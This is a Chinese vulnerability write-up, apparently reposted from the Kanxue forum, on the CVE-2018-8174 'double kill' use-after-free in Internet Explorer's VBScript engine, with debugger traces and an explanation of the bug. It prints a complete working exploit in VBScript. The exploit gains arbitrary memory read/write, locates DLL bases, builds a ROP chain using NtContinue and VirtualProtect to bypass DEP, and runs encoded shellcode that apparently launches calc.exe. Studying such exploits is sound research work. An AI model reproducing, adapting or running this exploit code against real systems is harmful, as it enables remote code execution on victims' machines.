CVE-2018-8174 “雙殺”0day 從UAF到Exploit
前言
這個漏洞是由於VBS指令碼引擎在處理Class物件時存在釋放後重用導致的,原始利用樣本中的VBS程式碼有一定的混淆,主要是針對函式名和變數名以及常量,在經過本人還原後覺得這個漏洞還是比較有趣的,所以拿出來分享給大家一起學習。
實驗環境
作業系統:Windows 7 sp1 32位
瀏覽器:IE11.0.9600.17843
偵錯程式: IDA、windbg、x64dbg
原始Exploit樣本: https://www.exploit-db.com/exploits/44741
漏洞分析
1.POC程式碼
<!doctype html>
Dim gNumber
Dim arrayA(6),arrayB(6)
Dim index
Dim gArray(40)
Dim hexA, hexB
Dim address
Dim memClassA
Dim classGetPA
hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
address = 0
index = 0
Class claA
Private Sub Class_Terminate()
Set arrayA(index) = gNumber(1)
index = index + 1
gNumber(1) = 1
End Sub
End Class
Class testClass
End Class
Class memClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem = Value
SetProp = 0
End Function
End Class
Class readMemClass
Dim mem
Function P0123456789
P0123456789 = LenB(mem(address+8))
End Function
Function SPP
End Function
End Class
Class swapObject
Public Default Property Get P
Dim object
P = 174088534690791e-324
For i = 0 To 6
arrayA(i) = 0
Next
Set object = New readMemClass
object.mem = hexA
For i = 0 To 6
Set arrayA(i) = object
Next
End Property
End Class
Sub UAF
For i = 0 To &h11
Set gArray(i) = New testClass
Next
For i = &h14 To &h26
Set gArray(i) = New memClass
Next
Msgbox "Create claA"
index = 0
For i = 0 To 6
ReDim gNumber(1)
Set gNumber(1) = New claA
Erase gNumber
Next
Set memClassA = New memClass
End Sub
Sub InitObjects
memClassA.SetProp(swapObjA)
End Sub
Sub StartExploit
UAF
InitObjects
End Sub
Set swapObjA = New swapObject
StartExploit
2.windbg開啟堆除錯支援
開啟cmd輸入gflags.exe /i iexplore.exe +hpa
3.執行POC用windbg捕獲異常資訊
3.1 崩潰時暫存器資訊:
eax=06b0bfd0 ebx=6b770e50 ecx=00000009 edx=00000009 esi=0a04cf90 edi=00000009
eip=753e4971 esp=0585a558 ebp=0585a560 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
3.2 崩潰EIP處資訊:
753e4953 83f809 cmp eax,9
753e4956 7430 je OLEAUT32!VariantCopy+0x154 (753e4988)
753e4958 83f80d cmp eax,0Dh
753e495b 742b je OLEAUT32!VariantCopy+0x154 (753e4988)
753e495d 33c0xor eax,eax
753e495f 5b pop ebx
753e4960 5f pop edi
753e4961 5e pop esi
753e4962 c9 leave
753e4963 c20800ret 8
753e4966 8b4608 mov eax,dword ptr [esi+8]
753e4969 85c0 test eax,eax
753e496b 0f8454f5ffff je OLEAUT32!VariantClear+0xc3 (753e3ec5)
753e4971 8b08 mov ecx,dword ptr [eax] ds:0023:068d5fd0=????????
3.3 EAX指向記憶體資訊:
0:008> dd eax
06b0bfd0 ???????? ???????? ???????? ????????
06b0bfe0 ???????? ???????? ???????? ????????
3.4 EAX上次記憶體管理資訊:
0:008> !heap -p -a eax
address 068d5fd0 found in
_DPH_HEAP_ROOT @ 6c1000
in free-ed allocation (DPH_HEAP_BLOCK: VirtAddr VirtSize)
6812d34:68d5000 2000
710190b2 verifier!AVrfDebugPageHeapFree+0x000000c2
76e866ac ntdll!RtlDebugFreeHeap+0x0000002f
76e4a13e ntdll!RtlpFreeHeap+0x0000005d
76e165a6 ntdll!RtlFreeHeap+0x00000142
756a98cd msvcrt!free+0x000000cd
729a717a vbscript!VBScriptClass::`scalar deleting destructor'+0x0000001a
729a71fd vbscript!VBScriptClass::Release+0x00000053
753e4977 OLEAUT32!VariantClear+0x000000b9
753fe325 OLEAUT32!ReleaseResources+0x000000a3
753fdfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048
75405d2d OLEAUT32!SafeArrayDestroyData+0x0000000f
75405d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
729f52d0 vbscript!VbsErase+0x00000050
72994787 vbscript!StaticEntryPoint::Call+0x0000002f
729957cb vbscript!CScriptRuntime::RunNoEH+0x00001d74
7299526e vbscript!CScriptRuntime::Run+0x000000c3
3.5 崩潰時堆疊資訊:
0:007> kv
ChildEBP RetAddr Args to Child
04a3ac30 6ed91afa 086fef90 077f8dd0 086fef90 OLEAUT32!VariantClear+0xb3 (FPO: [Non-Fpo])
04a3ac4c 6e6121b0 086fef90 077f8dd0 086fef90 IEShims!NS_ATLMitigation::APIHook_VariantClear+0x5d (FPO: [Non-Fpo])
04a3ac68 6e613014 09e48f04 00000010 04a3af50 vbscript!VAR::Clear+0x2d (FPO: [Non-Fpo])
04a3aca0 6e6276b0 077f8dd0 00000001 05bb9e00 vbscript!AssignVar+0x96 (FPO: [Non-Fpo])
04a3aee4 6e61526e 04a3b070 ae1e0428 077f8e50 vbscript!CScriptRuntime::RunNoEH+0x2440 (FPO: [Non-Fpo])
4.總結windbg異常資訊
從暫存器資訊中獲得崩潰時EIP = 0x753e4971 ,從對應EIP處觀察出EAX指向的記憶體已被釋放,通過檢視 上次記憶體管理髮現EAX指向的是一個VBScriptClass,只有指令碼中的Class被例項化時VBS指令碼引擎才會建立一個對應的VBScriptClass物件,再通過觀察堆疊資訊可以確定是AssignVar函式分配變數的時候崩潰的,那麼現在已經可以確定是類被釋放掉後還存在引用導致的。
5. x64dbg除錯分析
5.1 下載符號表
執行POC等待彈框後附加程式,下載符號表
5.2 對關鍵函式下斷點
符號表下載完成後重新執行POC, 等待彈框後附加程式 ,對VBScriptClass::Create、VBScriptClass::~VBScriptClass下斷,每當指令碼中New一個Class的時候指令碼引擎都會呼叫VBScriptClass::Create函式去建立一個VBScriptClass類,VBScriptClass::~VBScriptClass函式則是類的析構。
5.3 記錄類的申請與釋放
點掉彈框後會通過VBS引擎中的 VBScriptClass::Create 連續6次申請claA物件。
單步到0x6ED09C9C,拿到申請的物件記憶體地址0x0528AFD0。
F9直接執行後斷到引擎中類的釋放函式VBScriptClass::~VBScriptClass, 觀察ECX物件指標為0x0528AFD0,也就是說剛剛申請的物件這下又要被釋放了。
這時候需要注意的是在claA物件的釋放時,會觸發Terminate事件,通過觀察指令碼程式碼可以看出來,在事件進行時gNumber(1)中儲存了claA物件,在生命週期結束前,又把物件放入了arrayA(index),所以就算物件釋放了,arrayA(index)還是殘留了 claA的引用。
F8到ret後再次觀察類的記憶體佈局,發現很多資料已經被釋放掉了。
5.4 觀察崩潰處資訊
Control+B開啟斷點文件,用空格暫時遮蔽類的建立與解構函式斷點。
F9直接執行到崩潰點,可以看到VARIANT結構中的0x0528AFD0是上面釋放的claA物件地址,觀察下圖可以很清晰的看到,是釋放後的物件被重用了,關於VARIANT結構會在後面進行介紹。
再次回到VBS指令碼程式碼,可以看到在swapObject物件中,又對arrayA這個陣列進行了賦值,而此時在陣列中儲存的是claA物件,對陣列內資料賦值為0本來是不會有問題的,問題在於VBS指令碼引擎使用AssignVar函式對變數賦值時,在賦值之前還會檢查原來儲存的資料是不是一個物件,如果是一個物件還會呼叫VBScriptClass::Release函式去減少物件的引用計數,也就是在呼叫VBScriptClass::Release函式準備去減少引用計數的時候發生了記憶體訪問異常,導致了崩潰。
VBScriptClass::Release函式:
6. x64dbg除錯分析總結
在VBScriptClass::Create函式中建立名為claA的物件,因為刪除陣列而減少引用計數引發VBScriptClass::~VBScriptClass函式釋放claA物件,在釋放時觸發Terminate事件,在事件進行中將claA物件存在了arrayA這個陣列中, 而後又對arrayA這個陣列進行了填入0 ,由於填入0之前檢查了其中存入的是一個VBS指令碼物件,所以需要減少引用計數,但是物件已經被釋放掉了,虛表的記憶體不可訪問了,虛表不能訪問自然就崩潰了。
漏洞利用
1.必備資料結構
在利用前還需要對VARIANT這個結構有所瞭解,因為VBS指令碼引擎儲存資料時,預設使用VARIANT結構,vt欄位描述了資料的型別,wReserved1 - wReserved3保留, 變數資料 儲存在聯合體中。
struct tagVARIANT {
union {
struct __tagVARIANT {
VARTYPE vt;
WORD wReserved1;
WORD wReserved2;
WORD wReserved3;
union {
ULONGLONG ullVal;/* VT_UI8 */
LONGLONG llVal; /* VT_I8 */
LONG lVal;/* VT_I4 */
BYTE bVal;/* VT_UI1 */
SHORT iVal;/* VT_I2 */
FLOAT fltVal;/* VT_R4 */
DOUBLE dblVal;/* VT_R8 */
VARIANT_BOOL boolVal; /* VT_BOOL */
_VARIANT_BOOL bool;/* (obsolete) */
SCODE scode; /* VT_ERROR */
CY cyVal; /* VT_CY */
DATE date;/* VT_DATE */
BSTR bstrVal; /* VT_BSTR */
IUnknown * punkVal; /* VT_UNKNOWN */
IDispatch * pdispVal;/* VT_DISPATCH */
SAFEARRAY * parray;/* VT_ARRAY */
BYTE * pbVal; /* VT_BYREF|VT_UI1 */
SHORT * piVal; /* VT_BYREF|VT_I2 */
LONG * plVal; /* VT_BYREF|VT_I4 */
LONGLONG * pllVal;/* VT_BYREF|VT_I8 */
FLOAT * pfltVal; /* VT_BYREF|VT_R4 */
DOUBLE * pdblVal; /* VT_BYREF|VT_R8 */
VARIANT_BOOL *pboolVal;/* VT_BYREF|VT_BOOL */
_VARIANT_BOOL *pbool;/* (obsolete) */
SCODE * pscode;/* VT_BYREF|VT_ERROR */
CY * pcyVal;/* VT_BYREF|VT_CY */
DATE * pdate; /* VT_BYREF|VT_DATE */
BSTR * pbstrVal;/* VT_BYREF|VT_BSTR */
IUnknown ** ppunkVal;/* VT_BYREF|VT_UNKNOWN */
IDispatch ** ppdispVal; /* VT_BYREF|VT_DISPATCH */
SAFEARRAY ** pparray; /* VT_BYREF|VT_ARRAY */
VARIANT * pvarVal; /* VT_BYREF|VT_VARIANT */
PVOID byref; /* Generic ByRef */
CHAR cVal;/* VT_I1 */
USHORT uiVal; /* VT_UI2 */
ULONG ulVal; /* VT_UI4 */
INT intVal;/* VT_INT */
UINT uintVal; /* VT_UINT */
DECIMAL * pdecVal; /* VT_BYREF|VT_DECIMAL */
CHAR * pcVal; /* VT_BYREF|VT_I1 */
USHORT * puiVal;/* VT_BYREF|VT_UI2 */
ULONG * pulVal;/* VT_BYREF|VT_UI4 */
ULONGLONG * pullVal; /* VT_BYREF|VT_UI8 */
INT * pintVal; /* VT_BYREF|VT_INT */
UINT * puintVal;/* VT_BYREF|VT_UINT */
struct __tagBRECORD {
PVOID pvRecord;
IRecordInfo * pRecInfo;
} __VARIANT_NAME_4;/* VT_RECORD */
} __VARIANT_NAME_3;
} __VARIANT_NAME_2;
DECIMAL decVal;
} __VARIANT_NAME_1;
};
以下是vt欄位的列舉型別:
enum VARENUM
{
VT_EMPTY = 0,
VT_NULL = 1,
VT_I2 = 2,
VT_I4 = 3,
VT_R4 = 4,
VT_R8 = 5,
VT_CY = 6,
VT_DATE = 7,
VT_BSTR = 8,
VT_DISPATCH = 9,
VT_ERROR = 10,
VT_BOOL = 11,
VT_VARIANT = 12,
VT_UNKNOWN = 13,
VT_DECIMAL = 14,
VT_I1 = 16,
VT_UI1 = 17,
VT_UI2 = 18,
VT_UI4 = 19,
VT_I8 = 20,
VT_UI8 = 21,
VT_INT = 22,
VT_UINT = 23,
VT_VOID = 24,
VT_HRESULT = 25,
VT_PTR = 26,
VT_SAFEARRAY = 27,
VT_CARRAY = 28,
VT_USERDEFINED = 29,
VT_LPSTR = 30,
VT_LPWSTR = 31,
VT_RECORD = 36,
VT_INT_PTR = 37,
VT_UINT_PTR = 38,
VT_FILETIME = 64,
VT_BLOB = 65,
VT_STREAM = 66,
VT_STORAGE = 67,
VT_STREAMED_OBJECT = 68,
VT_STORED_OBJECT = 69,
VT_BLOB_OBJECT = 70,
VT_CF = 71,
VT_CLSID = 72,
VT_VERSIONED_STREAM = 73,
VT_BSTR_BLOB = 0xfff,
VT_VECTOR = 0x1000,
VT_ARRAY = 0x2000,
VT_BYREF = 0x4000,
VT_RESERVED = 0x8000,
VT_ILLEGAL = 0xffff,
VT_ILLEGALMASKED = 0xfff,
VT_TYPEMASK = 0xfff
} ;
2.完整利用POC
<!doctype html>
Dim gNumber
Dim arrayA(6),arrayB(6)
Dim index
Dim gArray(40)
Dim hexA, hexB
Dim address
Dim memClassA,memClassB
Dim swapA,swapB
Dim NtContinueAddr,VirtualProtectAddr
hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
address = 0
index = 0
Function GetUint32(Addr)
Dim value
memClassA.mem(address + 8) = Addr + 4
memClassA.mem(address) = 8 'type string
value = memClassA.P0123456789
memClassA.mem(address) = 2
GetUint32 = value
End Function
Function readWord(addr)
readWord = GetUint32(addr) And 65535
End Function
Function readByte(addr)
readByte = GetUint32(addr) And (&hFF)
End Function
Function GetBaseByDOSmodeSearch(in_addr)
Dim addr
addr = in_addr And &hFFFF0000
Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44
addr = addr-&h10000
Loop
GetBaseByDOSmodeSearch = addr
End Function
Function StrCompWrapper(addr, szName)
Dim str,i
str = ""
For i = 0 To Len(szName) - 1
str = str & Chr(readByte(addr+i))
Next
StrCompWrapper = StrComp(UCase(str), UCase(szName))
End Function
'base_address 模組基址 name_input輸入的模組名
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim addr
'從PE讀取nt_header
nt_header = GetUint32(base_address + (&h3c))
'讀取匯入表偏移
import_rva = GetUint32(base_address + nt_header + &h80)
'計算出匯入表地址
import_dir = base_address + import_rva
descriptor = 0
Do While True
Dim NameOffset
NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)
If NameOffset = 0 Then
GetBaseFromImport = &hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then
Exit Do
End If
End If
descriptor = descriptor+1
Loop
'隨便取一個匯入函式的地址
addr = GetUint32(import_dir + descriptor * (&h14)+&h10)
addr = GetUint32(base_address + addr)
'老套路獲取模組基址
GetBaseFromImport = GetBaseByDOSmodeSearch(addr)
End Function
Function GetProcAddr(dll_base,name)
Dim p, export_dir, index
Dim function_rvas, function_names, function_ordin
Dim Ordin
p = GetUint32(dll_base + &h3c)
p = GetUint32(dll_base + p + &h78)
export_dir = dll_base + p
function_rvas = dll_base + GetUint32(export_dir + &h1c)
function_names = dll_base + GetUint32(export_dir + &h20)
function_ordin = dll_base + GetUint32(export_dir + &h24)
index = 0
Do While True
Dim offset
offset = GetUint32(function_names + index * 4)
If StrCompWrapper(dll_base + offset, name) = 0 Then
Exit Do
End If
index = index+1
Loop
Ordin = readWord(function_ordin + index * 2)
p = GetUint32(function_rvas + Ordin * 4)
GetProcAddr = dll_base + p
End Function
Function GetShellcode()
hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")
GetShellcode = hexCode
End Function
Function BuildVirtualTable
Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24
szNtContinueAddr = NumberToString(NtContinueAddr, 8)
szAddr0 = Mid(szNtContinueAddr,1,2)
szAddr8 = Mid(szNtContinueAddr,3,2)
szAddr16 = Mid(szNtContinueAddr,5,2)
szAddr24 = Mid(szNtContinueAddr,7,2)
str = ""
str = str & "%u0000%u" &szAddr24 &"00"
For i = 1 To 3
str = str & "%u" &szAddr8 &szAddr16
str = str & "%u" &szAddr24 &szAddr0
Next
str = str & "%u" & szAddr8 & szAddr16
str = str & "%u00" & szAddr0
BuildVirtualTable = Unescape(str)
End Function
Function NumberToString(ByVal Number, ByVal Length)
hNumber = Hex(Number)
If Len(hNumber) < Length Then
hNumber = String(Length - Len(hNumber), "0") & hNumber 'pad allign with zeros
Else
hNumber = Right(hNumber, Length)
End If
NumberToString = hNumber
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High = NumberToString((value And &hFFFF0000) / &h10000, 4)
Low = NumberToString(value And &hFFFF, 4)
EscapeAddress = Unescape("%u"&Low&"%u"&High)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim ropChain
'pad1 0 - 10FDC
ropChain = String(34798, Unescape("%u4141"))
'rop chain
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
ropChain = ropChain & EscapeAddress(&h3000)
ropChain = ropChain & EscapeAddress(&h40)
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)
ropChain = ropChain & String(6, Unescape("%u4242"))
'構建攻擊所需的虛表
ropChain = ropChain & BuildVirtualTable()
'pad2
ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))
WrapShellcodeWithNtContinueContext = ropChain
End Function
Function ExpandWithVirtualProtect(ropAddr)
Dim szContext
Dim Addr
'0 - 10FDC
Addr = ropAddr + &h23
szContext = ""
szContext = szContext & EscapeAddress(Addr)
szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))
szContext = szContext & EscapeAddress(VirtualProtectAddr)
szContext = szContext & EscapeAddress(&h1b)
szContext = szContext & EscapeAddress(0)
szContext = szContext & EscapeAddress(ropAddr)
szContext = szContext & EscapeAddress(&h23)
szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))
ExpandWithVirtualProtect = szContext
End Function
Sub ExecuteShellcode
'把型別改成0x4D
memClassA.mem(address) = &h4d
Msgbox "ExecuteShellcode"
memClassA.mem(address + 8) = 0
End Sub
Class claA
Private Sub Class_Terminate()
Msgbox "Set arrayA"
Set arrayA(index) = gNumber(1)
index = index + 1
gNumber(1) = 1
End Sub
End Class
Class claB
Private Sub Class_Terminate()
Set arrayB(index)=gNumber(1)
index=index+1
gNumber(1)=1
End Sub
End Class
Class testClass
End Class
Class memClass
Dim mem
Function P
End Function
Function SetProp(Value)
Msgbox "SetProp"
mem = Value
Msgbox "SetProp = 0"
SetProp = 0
End Function
End Class
Class readMemClass
Dim mem
Function P0123456789
P0123456789 = LenB(mem(address+8))
End Function
Function SPP
End Function
End Class
Class swapObjectA
Public Default Property Get P
Dim object
P = 174088534690791e-324
For i = 0 To 6
arrayA(i) = 0
Next
Set object = New readMemClass
Msgbox "object.mem = hexA"
object.mem = hexA
For i = 0 To 6
Set arrayA(i) = object
Next
End Property
End Class
Class swapObjectB
Public Default Property Get P
Dim object
P=636598737289582e-328
For i = 0 To 6
arrayB(i) = 0
Next
Set object = New readMemClass
object.mem = hexB
For i = 0 To 6
Set arrayB(i) = object
Next
End Property
End Class
Set swapA = New swapObjectA
Set swapB = New swapObjectB
Sub UAF
For i = 0 To &h11
Set gArray(i) = New testClass
Next
For i = &h14 To &h26
Set gArray(i) = New memClass
Next
index = 0
For i = 0 To 6
ReDim gNumber(1)
Set gNumber(1) = New claA
Erase gNumber
Next
Set memClassA = New memClass
arrayB(0) = 0
index = 0
For i = 0 To 6
ReDim gNumber(1)
Set gNumber(1) = New claB
Erase gNumber
Next
Set memClassB = New memClass
End Sub
Sub InitObjects
Msgbox "InitObjects"
memClassA.SetProp(swapA)
'memClassA現在的型別是readMemClass
memClassB.SetProp(swapB)
'memClassB現在的型別是readMemClass
address = memClassB.mem
End Sub
Sub testSub
End Sub
Function GetMemValue
memClassA.mem(address) = 3
GetMemValue = memClassA.mem(address + 8)
End Function
Sub SetMemValue(ByRef in_Ref)
memClassA.mem(address + 8) = in_Ref
End Sub
Function LeakVBAddr
On Error Resume Next
Dim pCScriptEntryPointObject
pCScriptEntryPointObject = testSub
pCScriptEntryPointObject = null
SetMemValue pCScriptEntryPointObject
LeakVBAddr = GetMemValue()
End Function
Sub StartExploit
UAF
InitObjects
pCScriptEntryPointObject = LeakVBAddr()
pVTable = GetUint32(pCScriptEntryPointObject)
'Msgbox "CScriptEntryPointObject Leak: 0x" & Hex(pCScriptEntryPointObject)
'Msgbox "pVTable Leak: 0x" & Hex(pVTable)
vbs_base = GetBaseByDOSmodeSearch(pVTable)
'從PE搜尋對應模組的匯入表 獲取其他模組基址
msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")
krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")
ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")
VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")
NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")
'Msgbox "VirtualProtectAddr: 0x" & Hex(VirtualProtectAddr)
'Msgbox "NtContinueAddr: 0x" & Hex(NtContinueAddr)
SetMemValue GetShellcode()
ShellcodeAddr = GetMemValue() + 8
'WrapShellcodeWithNtContinueContext 構建ROP
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
ropAddr = GetMemValue() + 69596
'ExpandWithVirtualProtect 構建CONTEXT
SetMemValue ExpandWithVirtualProtect(ropAddr)
GetMemValue()
ExecuteShellcode
End Sub
StartExploit
3. windbg關閉堆除錯支援
開啟cmd輸入gflags.exe /i iexplore.exe -hpa
4. x64dbg分析Class佔位
4.1 對關鍵函式下斷
執行POC,等待彈框後附加程式 ,對VBScriptClass::Create、VBScriptClass::~VBScriptClass、AssignVar下斷:
4.2 Class佔位分析
點掉“Set arrayA”的彈框後,第一次斷到AssignVar處,此時正要把claA物件寫入arrayA(0)中,通過觀察輸入的VARIANT結構發現其中儲存的是一個VARIANT*型別的指標, 指標數值為0x02848E18,同時記錄 arrayA(0) 的地址是0x03AD2FD8。
VARIANT*指標指向的是一個型別為IDispatch*的VARIANT結構,在VBS指令碼引擎中,IDispatch* 就是Class型別。
再看看VBScriptClass結構資訊,在這裡需要說明一點,VBS指令碼程式碼裡所有通過Class關鍵字例項化的物件在引擎中都是用VBScriptClass結構來儲存的。
F9到VBScriptClass::~VBScriptClass函式,發現此時被釋放的物件正是存在arrayA(0)中的物件,物件地址為0x027DB0C0。
再F9到VBScriptClass::Create,發現再次申請的物件記憶體地址和上次被釋放的物件記憶體地址一摸一樣,都是0x027DB0C0,也就是說明被新物件佔位了。
4.3 memClass佔位
在申請完6次claA物件,又釋放了6次後,此時arrayA(0) - arrayA(6) 都指向了一個被釋放的物件的記憶體地址,此時再次重新申請memClass物件, arrayA(0) - arrayA(6) 就指向了新申請的memClass。
佔位後 arrayA(0) 的記憶體佈局如下:
記憶體中的物件結構資訊:
4.4 swapObjectA類中再次佔位
此時 arrayA(0) - arrayA(6) 都存著memClass物件,對arrayA全部填入0後又導致了memClass的釋放,釋放後重新申請readMemClass物件進行佔位。
4.5 利用Class佔位實現任意地址讀寫
明白了上面佔位的原理後,再次啟動poc,等待彈出"SetProp"後附加程式,對AssignVar函式下斷,拿到memClass的記憶體佈局,memClass.mem的記憶體地址為0x01D37B30。
F9執行等待彈出"object.mem = hexA"後,再次斷AssignVar函式,拿到readMemClass的記憶體佈局,readMemClass.mem的記憶體地址為0x01D37B3C。
由於VAR這個結構是未知的,目前根據逆向發現偏移0x0處是VARIANT結構,偏移0x30處是一個不定長的名稱字串,在一路F8後,readMemClass.mem寫入了hexA,可以看到資料型別為 BSTR。
根據前面的分析memClass.mem的記憶體地址為0x01D37B30,readMemClass.mem的記憶體地址為0x01D37B3C,記憶體已經重疊,由於在SetProp函式中使用的是memClass的佈局,所以在拿到Value的返回值對mem成員變數賦值時會產生覆蓋,從而改變了readMemClass.mem的資料型別,當Value等於swapObjectA時,會將mem變數型別改為VARIANT*,Value等於swapObjectB時,會將變數型別改為Long。
當執行完InitObjects函式時,memClassA和memClassB的型別都變成readMemClass,memClassA提供資料讀寫功能支援,memClassB用來傳遞讀寫的引數資訊。
5. 任意地址讀寫的利用
5.1 獲取 CScriptEntryPointObject 物件
在LeakVBAddr函式中,先通過老套路獲取CScriptEntryPointObject,又通過SetMemValue函式把pCScriptEntryPointObject寫入address指向的記憶體,然後通過GetMemValue改變address中變數的型別為Long再拿出來,為什麼要繞一大圈做這個事情呢,是因為pCScriptEntryPointObject屬性為null,是不可讀的,只有改為Long型,才能讀取出4位元組資料。
5.2 獲取 CScriptEntryPointObject 物件的虛表
呼叫GetUint32讀取目標地址的記憶體
GetUint32 函式
6. 通過物件虛表獲取vbs模組基址
7. 通過匯入表獲取其他模組基址
8. 通過模組基址分析PE獲取匯出函式
9. ROP構造
10. 上下文構造
11. 利用過程除錯驗證
重新執行POC等待彈出"ExecuteShellcode"後 附加,對AssginVar函式下斷,F8單步到呼叫Var::Clear處F7進入函式。
資料型別判斷,已經被故意構造成0x4D了。
繼續F8到此處,可以看到已經在訪問精心構造的虛表了。
對VirtualProtect下斷後直接F9,斷下來後可以看到此時ESP也指向了ROP鏈。
一路F8後來到shellcode處。
F9後計算器彈出。
總結
這個漏洞就是利用Class佔位調整類中變數的屬性從而獲得了任意地址寫入的能力, 然後通過CScriptEntryPoint獲取VBS指令碼引擎模組在記憶體中的基址,又通過分析VBS模組PE資訊進而獲取其他系統關鍵模組基址, 拿到系統關鍵模組基址就可以獲取NtContinue、VirtualProtect繞過DEP了,值得學習的是最後攻擊虛表去呼叫的ZwContinue改變執行緒上下文。
原文作者:來杯檸檬紅茶
原文連結:https://bbs.pediy.com/thread-248477.htm
轉載請註明:轉自看雪學院
更多閱讀:
相關文章
- CVE-2015-2546:從補丁比對到Exploit
- [翻譯]Windows Exploit開發教程第十一章 Exploitme5(heap spraying & UAF)Windows
- [翻譯]Windows Exploit開發教程第十三章Part5.IE10 UAF漏洞WindowsIE10
- 從“三國殺”到“三國殺+”,遊卡的IP生態創新之路
- 從剖析cs木馬生成到開發免殺工具
- 從單向到雙向資料繫結
- CVE-2021-40449 NtGdiResetDC UAF
- 有人公開了Avast、McAfee 等殺軟中的 8 個 0dayAST
- 阿里雙11秒殺如何設計?阿里
- MySQL雙主雙從配置MySql
- iOS冰與火之歌 – UAF and Kernel PwniOS
- SpringBoot開發案例從0到1構建分散式秒殺系統Spring Boot分散式
- mysql雙主雙從 搭建配置MySql
- 從電商到軟體市場,阿里雙11戰火蔓延阿里
- CVE-2015-3636 Android核心 UAF漏洞分析Android
- RocketMQ雙主雙從叢集搭建MQ
- Exploit開發系列教程-Heap
- Exploit開發系列教程-Windbg
- 深入分析 Fiesta Exploit Kit
- Metaphor-A real life Stagefright exploit
- 專訪《騎馬與砍殺》之父:從“土耳其牒販子”到“遊戲領主”遊戲
- 從《老男孩》、《疾速追殺》到《師父》:白眉拳大師的設計之路
- 從P4到P9, 在馬雲家寫程式碼到雙11前端PM前端
- rocketMq之雙主雙從同步模式搭建MQ模式
- 雙目標定與三維計算:從理論到OpenCV實踐OpenCV
- 使用雙非同步後,從 191s 最佳化到 2s非同步
- 從京東618秒殺聊聊秒殺限流的多種實現
- 從供應鏈角度看Log4j2 0day漏洞
- RocketMQ4.7.1雙主雙從叢集搭建MQ
- Mycat 雙主雙從-負載均衡-高可用負載
- 前端要學的測試課 從Jest入門到TDD/BDD雙實戰前端
- ctf pwn中的unlink exploit(堆利用)
- 解密 Redis 助力雙十一背後電商秒殺系統解密Redis
- 什麼是0day漏洞?如何預防0day攻擊?
- iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap SprayingiOSAI
- 從2012到2021,從土木到程式設計師程式設計師
- 磨針記1——從*外殺馬說起
- 百度AI“殺入”新領域,我舉雙手支援!AI